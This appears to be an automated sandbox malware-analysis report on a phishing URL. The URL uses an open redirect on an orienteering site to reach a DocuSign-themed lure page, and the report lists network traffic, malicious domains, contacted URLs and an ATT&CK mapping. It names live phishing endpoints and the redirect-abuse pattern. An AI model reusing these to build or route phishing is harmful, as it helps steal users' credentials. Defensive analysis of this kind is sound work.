HTTP traffic detected: POST / HTTP/1.1Host: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.devConnection: keep-aliveContent-Length: 47sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: https://archive1.diqx8fescpsb0.amplifyapp.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 12370Connection: closeDate: Wed, 15 Jan 2025 12:07:57 GMTServer: AmazonS3Accept-Ranges: bytesETag: "601068d39e85b4f361f3816d32f8367d"Last-Modified: Tue, 14 Jan 2025 18:04:09 GMTorigin: https://main.diqx8fescpsb0.amplifyapp.comVary: Accept-EncodingX-Cache: Error from cloudfrontVia: 1.1 2148953aab7910c366395376a0db1450.cloudfront.net (CloudFront)X-Amz-Cf-Pop: FRA56-P12Alt-Svc: h3=":443"; ma=86400X-Amz-Cf-Id: h17hMqPIFbH9IrBMFff4bKMvxz7P3vHl2atieMp9INywTnUs6IReNg==
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 15 Jan 2025 12:07:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINServer: cloudflareCF-RAY: 9025bf9bedf243e0-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 15 Jan 2025 12:08:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C2lCD1gU%2FM9ngs6ZalR0MAxc2GE5D%2B6tdoX0ASpecs%2BoCfa1mPsf8A0T%2FChmJyBpXn77mqsdhMqlDK%2Bbo%2FKXg8cIrWcY%2BgDKmVxmv0ccfPmssvXJ7Rrkz3tiQ5P4tw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=5372&min_rtt=5350&rtt_var=2051&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=2238&delivery_rate=514915&cwnd=231&unsent_bytes=0&cid=0c9d858c20ab1d78&ts=166&x=0"CF-Cache-Status: MISSServer: cloudflareCF-RAY: 9025c02b7b7ca272-YULserver-timing: cfL4;desc="?proto=TCP&rtt=17647&min_rtt=17631&rtt_var=6645&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1901&delivery_rate=164368&cwnd=32&unsent_bytes=0&cid=7844d42f1c32ab72&ts=540&x=0"

Source: chromecache_135.2.dr	String found in binary or memory: http://creativecommons.org/licenses/by/4.0/
Source: chromecache_135.2.dr	String found in binary or memory: http://ionicons.com/
Source: chromecache_104.2.dr	String found in binary or memory: http://www.ascendercorp.com/0
Source: chromecache_104.2.dr	String found in binary or memory: http://www.ascendercorp.com/eula10.html
Source: chromecache_104.2.dr	String found in binary or memory: http://www.ascendercorp.com/eula10.htmlNormaloby
Source: chromecache_104.2.dr	String found in binary or memory: http://www.ascendercorp.com/http://ascendercorp.com/eula10.htmlNormaaliNorm
Source: chromecache_104.2.dr	String found in binary or memory: http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlThis
Source: chromecache_119.2.dr	String found in binary or memory: https://cdn-icons-png.flaticon.com/512/847/847969.png
Source: chromecache_119.2.dr	String found in binary or memory: https://cdn.hellosign.com/5be974e/build/signer.css
Source: chromecache_135.2.dr	String found in binary or memory: https://github.com/driftyco/ionicons
Source: chromecache_135.2.dr	String found in binary or memory: https://github.com/google/material-design-icons
Source: chromecache_119.2.dr	String found in binary or memory: https://images.ctfassets.net/3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc
Source: chromecache_97.2.dr, chromecache_88.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_97.2.dr, chromecache_88.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_119.2.dr	String found in binary or memory: https://meta-q.cdn.bubble.io/f1718227932057x822365466237625200/DOCU-60cafc67.png
Source: chromecache_119.2.dr	String found in binary or memory: https://pub-18adec023eb44c5da5725749a35761dd.r2.dev/icons8-loading%20(1).gif
Source: chromecache_119.2.dr	String found in binary or memory: https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/iframe-wrapper.html
Source: chromecache_101.2.dr	String found in binary or memory: https://templates.business-in-a-box.com/imgs/1000px/freeware-license-terms-D834.png
Source: chromecache_135.2.dr	String found in binary or memory: https://twitter.com/benjsperry
Source: chromecache_135.2.dr	String found in binary or memory: https://twitter.com/ionicframework

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal56.phis.win@24/91@68/23

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2236,i,5183248845643234425,14053315998528368914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2236,i,5183248845643234425,14053315998528368914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://zorx.xemitarnor.ru/favicon.ico	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/eula10.html	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/http://ascendercorp.com/eula10.htmlNormaaliNorm	0%	Avira URL Cloud	safe
https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/iframe-wrapper.html	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlThis	0%	Avira URL Cloud	safe
https://templates.business-in-a-box.com/imgs/1000px/freeware-license-terms-D834.png	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/0	0%	Avira URL Cloud	safe
https://mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev/	0%	Avira URL Cloud	safe
https://zorx.xemitarnor.ru/U6OnAOL/	0%	Avira URL Cloud	safe
https://pub-18adec023eb44c5da5725749a35761dd.r2.dev/icons8-loading%20(1).gif	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/eula10.htmlNormaloby	0%	Avira URL Cloud	safe
https://mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev/redirect?email=p8gtut%40dwuyn.io	0%	Avira URL Cloud	safe
https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d3orhvfyxudxxq.cloudfront.net	13.33.187.102	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru	188.114.96.3	true	false	unknown
eventor.orienteering.asn.au	188.95.227.90	true	false	unknown
archive1.diqx8fescpsb0.amplifyapp.com	18.173.205.70	true	true	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
pub-18adec023eb44c5da5725749a35761dd.r2.dev	162.159.140.237	true	false	unknown
d1cgh0icblycb1.cloudfront.net	18.245.86.21	true	false	unknown
meta-q.cdn.bubble.io	104.17.124.183	true	false	high
code.jquery.com	151.101.130.137	true	false	high
pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev	162.159.140.237	true	false	unknown
mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	104.21.96.1	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
d3d564pv0p4759.cloudfront.net	3.161.82.101	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.186.164	true	false	high
zorx.xemitarnor.ru	188.114.96.3	true	true	unknown
cdn-icons-png.flaticon.com	unknown	unknown	false	high
www.office.com	unknown	unknown	false	high
templates.business-in-a-box.com	unknown	unknown	false	unknown
www.livelox.com	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	high
images.ctfassets.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
cdn.hellosign.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.hellosign.com/5be974e/build/a6d09f4028ea300af1bd.ttf	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/	false		high
https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/iframe-wrapper.html	false	Avira URL Cloud: safe	unknown
https://images.ctfassets.net/3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc7c490c93976e40/ds-logo-on-white.png	false		high
https://cdn.hellosign.com/5be974e/build/signer.css	false		high
https://zorx.xemitarnor.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/9025c0217ef90f85/1736942901057/9199S0QpC3pAwX6	false		high
https://templates.business-in-a-box.com/imgs/1000px/freeware-license-terms-D834.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9025c0217ef90f85&lang=auto	false		high
https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io	false		unknown
https://pub-18adec023eb44c5da5725749a35761dd.r2.dev/icons8-loading%20(1).gif	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://a.nel.cloudflare.com/report/v4?s=Zb8b%2BKyEAFIIbkNpwNAVLOV1AA%2BmlgkfL7ixjBEzBLmR7b%2Fzr7GrcKWiaaCWlBKGivicgt2BAOzkLznx%2BNEIaO2bwD9zvX6B%2B6%2BXajONY85y1aRVBBZ1%2Bl0a55oCfq%2F02UAUwDJJTpS%2B4TMFPn0ImSFhzLR7RdMBq6191XYsBhGZpTDUStqalWP%2F754FbM7dWWI0sg%3D%3D	false		high
https://mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev/	false	Avira URL Cloud: safe	unknown
https://zorx.xemitarnor.ru/U6OnAOL/	true	Avira URL Cloud: safe	unknown
https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	true		unknown
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/9025c0217ef90f85/1736942901056/73dd5e214d07ff57fbbe87280bec79369d3212f0113176e6902b0fae2bbfbe6f/XEmwaJ4Z7VHJmsA	false		high
https://meta-q.cdn.bubble.io/f1718227932057x822365466237625200/DOCU-60cafc67.png	false		high
https://mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev/redirect?email=p8gtut%40dwuyn.io	false	Avira URL Cloud: safe	unknown
https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.ascendercorp.com/0	chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
https://images.ctfassets.net/3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc	chromecache_119.2.dr	false		high
http://www.ascendercorp.com/eula10.html	chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/google/material-design-icons	chromecache_135.2.dr	false		high
https://cdn-icons-png.flaticon.com/512/847/847969.png	chromecache_119.2.dr	false		high
https://twitter.com/benjsperry	chromecache_135.2.dr	false		high
http://www.ascendercorp.com/http://ascendercorp.com/eula10.htmlNormaaliNorm	chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
http://ionicons.com/	chromecache_135.2.dr	false		high
https://login.windows-ppe.net	chromecache_97.2.dr, chromecache_88.2.dr	false		high
https://github.com/driftyco/ionicons	chromecache_135.2.dr	false		high
https://twitter.com/ionicframework	chromecache_135.2.dr	false		high
https://login.microsoftonline.com	chromecache_97.2.dr, chromecache_88.2.dr	false		high
http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlThis	chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
http://www.ascendercorp.com/eula10.htmlNormaloby	chromecache_104.2.dr	false	Avira URL Cloud: safe	unknown
http://creativecommons.org/licenses/by/4.0/	chromecache_135.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.245.86.21	d1cgh0icblycb1.cloudfront.net	United States	16509	AMAZON-02US	false
104.17.124.183	meta-q.cdn.bubble.io	United States	13335	CLOUDFLARENETUS	false
162.159.140.237	pub-18adec023eb44c5da5725749a35761dd.r2.dev	United States	13335	CLOUDFLARENETUS	false
18.245.86.62	unknown	United States	16509	AMAZON-02US	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
3.161.82.101	d3d564pv0p4759.cloudfront.net	United States	16509	AMAZON-02US	false
18.173.205.70	archive1.diqx8fescpsb0.amplifyapp.com	United States	3	MIT-GATEWAYSUS	true
13.33.187.16	unknown	United States	16509	AMAZON-02US	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
188.95.227.90	eventor.orienteering.asn.au	Sweden	42695	CNHABSE	false
104.21.96.1	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.33.187.102	d3orhvfyxudxxq.cloudfront.net	United States	16509	AMAZON-02US	false
188.114.96.3	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru	European Union	13335	CLOUDFLARENETUS	true
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591775
Start date and time:	2025-01-15 13:06:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@24/91@68/23
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
